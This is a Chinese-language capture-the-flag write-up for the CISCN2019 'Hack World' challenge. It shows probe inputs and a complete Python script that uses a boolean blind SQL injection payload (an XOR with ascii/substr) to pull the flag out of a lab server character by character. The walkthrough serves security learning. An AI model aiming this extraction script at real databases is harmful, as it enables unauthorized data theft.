[CISCN2019 华北赛区 Day2 Web1]Hack World-1|SQL注入|bool注入
因为之前写过另一道bool注入题,因此这里写的就不是很详细,详细的步骤可以参考:https://www.cnblogs.com/upfine/p/16367693.htm,这道题同样在这个平台。
1、打开界面查看源代码未发现有用的信息,初始界面如下:
2、尝试输入1、2、3、4、' or 1=1#、and、or、' updatexml#等字符,结果如下:
3、对注入进行了检测,输入的1,2,3、4获取的返回信息无法展示有效信息,进行注入时(' updatexml#)会被检测到注入,因此这里就没法常规的语句进行注入,加上输入字符时的boo提示,那这里就得考虑布尔注入了,这一题相对来说较为简单,直接给出了数据库名和列明,那就直接通过脚本获取flag值就好了,这里(https://www.cnblogs.com/upfine/p/16367693.html,也在这个平台上)有一道之前做过的较为复杂一点的bool注入题,完整的说明了bool注入的手工过程和编写的脚本,因此这里就不使用手工一步步实现,直接通过脚本实现,成功获取到flag值,结果如下:
脚本信息如下:
import requests
import time
url='http://e489a1b6-9d7c-48a7-b79e-96e961de7195.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
for c in range(0,127):
n = (int)((max+min)/2)
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(n)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello' in str(r.content):
min=n
else:
max=n
if((max-min)<=1):
flag+=chr(max)
print("\r", end="")
print(flag,end='')
break